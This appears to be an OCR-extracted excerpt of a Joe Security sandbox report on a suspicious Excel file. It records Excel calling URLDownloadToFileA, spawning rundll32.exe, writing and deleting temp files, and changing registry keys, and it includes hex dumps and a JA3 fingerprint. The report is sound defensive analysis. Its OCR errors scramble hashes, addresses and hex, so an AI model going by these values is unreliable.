IN (0x0001)

Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,0-
10-11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,0-
10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

7dcce5b76c8b17472d024
758970a406b

7dcce5b76c8b17472d024
758970a406b
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@ EXCEL.EXE
@ rundl32.exe
@ rundll32.exe

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 552 Parent PID: 584

General

Start time: 13:35:45

Start date: 12/05/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f780000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\F1BE.tmp read attributes | device synchronous io  success or wait 1 13FACEC83  GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\D3FE0000 read attributes | device synchronous io  success or wait 1 TFEEAA29ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\9A9D.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\F1BE.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\9A9D.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\D3FE0000
C:\Users\user\Desktop\O5FE0000
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png

Copyright Joe Security LLC 2021

Access Attributes Options Completion Count
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read data or list device directory file |  object name 1
directory | synchronous io  collision
synchronize non alert | open

for backup ident

| open reparse

point
read attributes | device synchronous io  success or wait 1

synchronize |
generic read

non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv
C:\Users\user\Desktop\32154f4c_by_Libranalysis.xls
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~

Completion

success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Source
Address

1404A828C

1404A828C

1404A828C

1404A828C

1404A828C

1404A828C

1404A828C

13FACECS83

Symbol
URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

Source

Count

P PR R R R R R R R R R R

Count

P R R R R R

Address
13FD3B818
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
7FEEAA29ACO
13FD3B818

Symbol
DeleteFileW
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

DeleteFileW

Source

Address Symbol

TFEEAA29ACO unknown
TFEEAA29ACO unknown
TFEEAA29ACO unknown
TFEEAA29ACO unknown
TFEEAA29ACO unknown

TFEEAA29ACO unknown
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Old File Path
C:\Users\user\AppData\Local\Temp\imgs_files\image013.png
C:\Users\user\AppData\Local\Temp\imgs_files\image014.png
C:\Users\user\AppData\Local\Temp\imgs_files\image015.png
C:\Users\user\AppData\Local\Temp\imgs_files\image016.png
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pn__
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pn_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path
C:\Users\user\AppData\Local\Temp\D3FE0000

C:\Users\user\AppData\Local\Temp\D3FE0000

Copyright Joe Security LLC 2021

Offset
569

1016 2

New File Path
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pngss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value

447 ac 55 c9 6e db 30 10 .U.n.0....
bd 17 e8 3f 08 bc 16
129d 1c 8aa2 b0 9c .
439b 1cd3 0049 3f ...,>.?m.'Eh.-.S..9G.......
8026 c7 1261 6ee0 >Z.5v<........ +..%p.N..-.?
3089 fd f7 1dd2 8e a%.M.n74.s...U?

db 1a8e 25¢c1 b9 68 v.e....".Q...H.W+-
21f596 79a4 863 Ay.l..A(..5M...#D...'5
9b8d 35d50b 44 d4 ..4....iD..G.....B.R....PX.
de b5ecaa99blOa (..s..~.F.z.

9c f4 4a bb ae 65 bf

9f ee ea 6f ac c2 24

9c 12 ¢6 3b 68 d9 16

90 dd 2c 3e 7f 9a 3f

6d 03 60 45 68 87 2d

eb 53 Oa df 39 47 d9

83 15 d8 8 00 8e 66

56 3e 52 91 e8 35 76

3c 08 b9 16 1d fO eb

d9 ec 2b 97 de 25 70

a9 4e 99 83 2d e6 3f

61 25 9e 4d aa 6e 37

34 bc 73 b2 d4 8e 55

3f 76 df 65 a9 96 89

10 8¢ 96 22 91 51 fe

e2d4 91 48 ed 57 2b

2d 41 79 f9 6¢ 89 ba

c11041 28 ec 0192

354d 88 9a 14 e3 23

a4 44 8521 e3 27 35

83 eb 8e 34 b5 cd 9e

3 f8 69 44 04 83 47

90 01 9b fb 1c 1a 42

96 52 b0 d7 01 bf 50

58 ef 28 e4 99 f7 73

d8 e3 7e d1 02 46 ad

a0 7a 10

03 00

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

Count

P PR R R R R R R R R R R R

Count

22

17

Source
Address

TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO

Source
Address

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown
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File Path
C:\Users\user\AppData\Local\Temp\D3FE0000

C:\Users\user\AppData\Local\Temp\D3FE0000
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Offset
0

3683

Length Value

569

848

Ascii

504b 03 04 14 00 06 PK.......... 119
00 08 00 00 00 21 00 [Content_Types].xml ...

7f21bb39¢10100 (

00d5 06 00001300 ...

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2040228a000 ...

02 00 00 00 00 0000 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

89 50 4e 47 0d Oa 1a .
0a 00 00 00 Od 49 48

4452 0000001800 ....+.....IDAT8O.TJH.Q..;3..

00 00 18 08 02 00 00 .

00 6f15aaaf 0000 .?.fkIR..R$.R.Pb.Q...B..O

0001 7352474200 A.T$.hAD..J../..-

aece 1ce9 000000 h....fjl..+....... ;S.VQ.ZSW.=...

09 704859 730000 {.w.s.w.

Oe c4 00 00 Oe c4 01

8.0 P
952b 0e 1b 000002 ....,..s1@ Ir..... .>..LLa...b?

f549 44 4154 38 4f h..1.6..U...

9d 54 5d 48 14 51 14
9e 3b 33 eb cc ee 8e
3f ab eb 66 6b ae 6¢
52 a6 al 52 24 08 52
6 50 62 85 51 04 81
1542 11 81 4f 41 7f
a8 54 24 82 68 41 44
85 19 08 4a Oa a6 2f
16 al 2d 68 Of d6 93
d8 9f 66 6a e6 Of 2b
la ee b6 b5 e6 ee b8
b3 3b 73 e7 76 67 c5
5a 73 77 b5 3d 1c 18
86 7b ce 77 bf 73 ce
77 0f 40 08 11 04 d1
de 3bf9 a8 73 e4 eb
1c 4f c8 12 fe dd 90
01 da9ca42e3b9l
79 ba 70 1b 8e 07 12
94 cb ea fa 2c 1f 05
€873 3140204972
19 3a bc 01 00 20 84
3ec4 92 4c4c 6116
f3 b8 62 3f 68 €9 1e
ab 6¢ 9e 36 c5 09 55
e7f7 98

Completion

success or wait

success or wait

Count Address

21

4

Source
Symbol

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\D3FE0000

C:\Users\user\Desktop\O5FE0000

Copyright Joe Security LLC 2021

Offset Length Value

79790 1456

unknown 16384

13 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
7970 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 fa 03 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 Oa 77
4e d7 36 01 00 00 4e
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 20 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
e2 b4 75 af 9d 01 00
00 1a 03 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 96 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

09 08 10 00 00 06 05
00 67 32 cd 07 c1 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

Ascii

PK.- L

1. xmlIPK..-

IsPK .WN.6...N...
................. xl/_rels/wor

kbook.xml.relsPK..-
Ul
xl/workbook.xml

02 000000e20000 ...

00 5¢ 007000 0500 .....
00416c62757320 ...

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 01 00 02
00 03 00 04 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 69 00
d5 39 4a 1f 38 00 00
00 00 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

Completion

success or wait

success or wait

Source

Count Address Symbol

1

8

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\Desktop\O5FE0000

C:\Users\user\Desktop\O5FE0000
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Offset Length Value

unknown 16384

unknown 6334

15 05 53 b4 a8 6 2b

18 62 dc 09 4e 1d cO

Ascii

.S..+..0.yd.).l...b..N..+6
b9 86 a5 4a e2 79 4a .ub0....m,......0z]4..X|Vv,.=.
1f8229b949 07 ad O.....q.PO...|.1'B..+...gP..

~y.1.l.v.4..,...=.6Kcl

2b 36 e4 75623094 .6.4.v...>h.w.J..> #T].W
eb 89 al 6d2c8b0c P,..4#...e.aTPiX.g...U..j

158fc0c7307a5d hFb.

3g.,...g0E..

3400a4587c5676 .TY...wi,Re:AW.fD...|j.
2c113dc6 4f84f4 hD....d.......

211e9cc971als0
4f d2 09 8¢ 7c d5 31
60 42 18 ba 2b a0 12
bb c9 67 50 1e f4 19
e39a97 la7e 79 9d
31c8499f 76 ed 34
93 1b 2c 11 c2 be ae
c2 3d 1e 36 4b 63 49
€218 36 b4 b2 34 19
76 9b €3 01 16 3e 68
c7e077054ae2f9
3e 2e ca 2354 5da8
57 50 2¢ 80 b6 b0 23
15 1d 06 1e cc 65 02
8e fb 61 5¢ 54 50 69
58 ce 67 2e c2 c8 af
75 f4 13 bf 6a 68 46
62 ae fb 1d e0 80 1a
d6 25 c1 0a 29 a4 f3
cc ef 33 67 8b 2c db
€2 9c 67 4f 45 97 Oe
ce 54 59 a5 e9 d5 c6
bc 77 69 2c 52 65 3a
41 86 57 d3 86 66 cd
44 9f e2 f2 18 80 6¢
6a f7 68 44 db b0 f8
96 18 64 15 a2 el bc
8b ea8c

00 00 18 00 3f 03 00

00080080¢c31400 .2.

00 00 bf 03 00 00 02

002004 38044104 ...

43043d043e043a ..

0420 0032000000 .

00 00 10 f0 12 00 00
00 02 00 01 00 fo 00
14 00 f3 00 01 00 90
01 15 00 5a 00 00 00
11 f0 00 00 00 00 5d
00 1a 00 1500 12 00
02 00 60 Ob 11 60 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 3c 00 8c 00 0f 00
04 f0 84 00 00 00 12
00 0Oa f0 08 00 00 00
61 0f 00 00 00 Oa 00
00 93 00 Ob f0 4a 00
00 00 7f 00 00 00 ef
01 bf 00 18 00 1f 00
81 01 09 00 00 08 bf
01 0000 1000 c0 01
08 00 00 08 ff 01 00
00 18 00 3f 03 00 00
08 00 80 ¢3 14 00 00
00 bf 03 00 00 02 00
2004 38044104 43
04 3d 04 3e 04 3a 04
20 00 32 00 00 00 00
00 10 f0 12 00 00 00
02 00 01 00 f0 00 15
00 f3 00 01 00 90 01
16 00 5a 00 00 00 11
f0 00 00 00 00 5d 00
1a 00 15

...8BAC=>..

Completion

success or wait

success or wait

Count Address

6

1

Source
Symbol

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\Desktop\O5FE0000

C:\Users\user\Desktop\O5FE0000
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Offset Length Value

unknown 16384

unknown 15453

15 05 53 b4 a8 6 2b

18 62 dc 09 4e 1d cO

Ascii

.S..+..0.yd.).l...b..N..+6
b9 86 a5 4a e2 79 4a .ub0....m,......0z]4..X|Vv,.=.
1f8229b949 07 ad O.....q.PO...|.1'B..+...gP..

~y.1.l.v.4..,...=.6Kcl

2b 36 e4 75623094 .6.4.v...>h.w.J..> #T|.W
eb 89 al 6d2c 8b0c P,..#...e..a\TPiX.g....u...j

158fc0c7307a5d hFb.

3g.,...g0E..

3400a4587c5676 .TY...wi,Re:AW.fD...|j.
2c113dc6 4f84f4 hD....d.......

211e9cc971als0
4f d2 09 8¢ 7c d5 31
60 42 18 ba 2b a0 12
bb c9 67 50 1e f4 19
e39a97 la7e 79 9d
31c8499f 76 ed 34
93 1b 2c 11 c2 be ae
c2 3d 1e 36 4b 63 49
€218 36 b4 b2 34 19
76 9b €3 01 16 3e 68
c7e077054ae2f9
3e 2e ca23545da8
57 50 2¢ 80 b6 b0 23
15 1d 06 1e cc 65 02
8e fb 61 5¢ 54 50 69
58 ce 67 2e c2 c8 af
75 f4 13 bf 6a 68 46
62 ae fb 1d e0 80 1a
d6 25 c1 0a 29 a4 f3
cc ef 33 67 8b 2c db
€2 9c 67 4f 45 97 Oe
ce 54 59 a5 e9 d5 c6
bc 77 69 2c 52 65 3a
4186 57 d3 86 66 cd
44 9f e2 f2 18 80 6¢
6a f7 68 44 db b0 f8
96 18 64 15 a2 el bc
8b ea 8c

00 00 18 00 3f 03 00

00080080¢c31400 .2.

00 00 bf 03 00 00 02

002004 38044104 ...

43043d043e043a ..

0420 0032000000 .

00 00 10 f0 12 00 00
00 02 00 01 00 fo 00
14 00 f3 00 01 00 90
01 15 00 5a 00 00 00
11 f0 00 00 00 00 5d
00 1a 00 1500 12 00
02 00 60 Ob 11 60 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 3c 00 8c 00 0f 00
04 f0 84 00 00 00 12
00 0Oa f0 08 00 00 00
61 0f 00 00 00 Oa 00
00 93 00 Ob f0 4a 00
00 00 7f 00 00 00 ef
01 bf 00 18 00 1f 00
81 01 09 00 00 08 bf
01 0000 1000 c0 01
08 00 00 08 ff 01 00
00 18 00 3f 03 00 00
08 00 80 ¢3 14 00 00
00 bf 03 00 00 02 00
2004 38044104 43
04 3d 04 3e 04 3a 04
20 00 32 00 00 00 00
00 10 f0 12 00 00 00
02 00 01 00 f0 00 15
00 f3 00 01 00 90 01
16 00 5a 00 00 00 11
f0 00 00 00 00 5d 00
1a 00 15

...8BAC=>..

Completion

success or wait

success or wait

Count Address

1

1

Source
Symbol

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\Desktop\O5FE0000

C:\Users\user\Desktop\O5FE0000

Copyright Joe Security LLC 2021

Offset Length Value

unknown 16384 09 08 10 00 00 06 05
006732cd07c180 ... \.p....user

unknown 208

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

02 000000€20000 ...

00 5¢ 00 70 00 05 00 ....
00416c62757320 ...

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 01 00 02
00 03 00 04 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 69 00
d5 39 4a 1f 38 00 00
00 00 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

fe ff 00 00 06 01 02

00 00 00 00000000 ...

00 00 00 00 00 00 00

00 000001000000 ...

e0 85 9f f2 f9 4f 68

10 ab 91 08 00 2b 27 .

b3 d9 30 00 00 00 a0 .| #...

00 00 00 07 00 00 00
01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 58
00 00 00 12 00 00 00
68 00 00 00 Oc 00 00
00 80 00 00 00 0d 00
00 00 8¢ 00 00 00 13
00 00 00 98 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 08 00
0000 76 61 6e 2d 76
61 6e 00 1e 00 00 00
08 00 00 00 41 6¢ 62
7573000000 1e 00
00 00 10 00 00 00 4d
69 63 72 6f 73 6f 66
74 20 45 78 63 65 6C
00 40 00 00 00 00 cO
7c 0d 23 d9 c6 01 40
00 00 00 00 aa f9 63
6e 47 d7 01 03 00 00
00 00 00 00 00

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\Desktop\O5FE0000

C:\Users\user\Desktop\O5FE0000

Copyright Joe Security LLC 2021

Offset Length Value Ascii

unknown 280

unknown 2048

fe ff 00 00 06 01 02

00 00 00 00 00 00 00 ...
00 00 00 00 00 0000 H..
00 00 00 01 0000 00 ..h
02d5cdd59c2e1b ...
1093 97 08 00 2b 2c
f9 ae 30 00 00 00 e8 Docl
00 00 00 08 00 00 00 oc
01 00 00 00 48 00 00 4..
00 17 00 00 00 50 00 ...
00 00 Ob 00 00 00 58

00 00 00 10 00 00 00

60 00 00 00 13 00 00

00 68 00 00 00 16 00

00 00 70 00 00 00 Od

00 00 00 78 00 00 00

Oc 00 00 00 a4 00 00

00 02 00 00 00 e4 04

00 00 03 00 00 00 00

00 Oe 00 Ob 00 00 00

00 00 00 00 Ob 00 00

00 00 00 00 00 Ob 00

00 00 00 00 00 00 Ob

00 00 00 00 00 00 00

1e 10 00 00 04 00 00

00 05 00 00 00 44 6f

63 31 00 05 00 00 00

44 6f 63 32 00 05 00

00 00 44 6f 63 33 00

05 00 00 00 44 6f 63

34 00 Oc 10 00 00 04

00 00 00 1e 00 00 00

Ob 00 00 00 57 6f 72

6b 73 68 65 65 74 73

00 03 00 00 00 01 00

00 00 1e 00 00 00 11

00 00 00

01 000000020000 ...
00 03 0000000400 ...
00 000500000006 ...
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00 ...!
00 0a 00 00 00 Ob 00

Completion

success or wait

success or wait

00000c0000000d .../..0..1..2..3...4..5.
ROIOOIOUICEIOGIO D10 RN NS B RS-

0f 00 00 00 10 00 00
0011 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 31 00 00 00
32 00 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

Source

Count Address Symbol

1

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown

Page 28 of 40



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\O5FE0000 unknown 512 docflle0alblla .....ccoooemns > success or wait 1 TFEEAA29ACO unknown
€1 00 00 00 00 00 00 ....

00 00 00 00 00 00 00 ...
00 00003e 000300 ...
fe ff 09 00 06 00 00
00 00 00 00 00 00 00 ...
00 00 03 00 00 0052 .
01 00 00 00 00 00 0O ...
00 10 00 00 fe ff ff ff .....ccceeeee.
00 00 00 00 fe ff ff ff
00 00 00 00 4f 01 00
0050 01 00 00 51 01
00 00 ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff f ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff f ff ff ff ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff f ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Desktop\O5FE0000 unknown 16384 success or wait 1 7FEEAA29ACO unknown
C:\Users\user\Desktop\O5FE0000 unknown 16384 success or wait 1 7FEEAA29ACO unknown
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 6 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 6 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF1ED success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF2E7 success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF344 success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF4AB success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF5D4 success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\11A91B success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 1 7FEEAA29ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\11B5F7 success or wait 1 7FEEAA29ACO unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 4 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 4 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 4 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 4 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 4 7FEEAA29ACO unknown
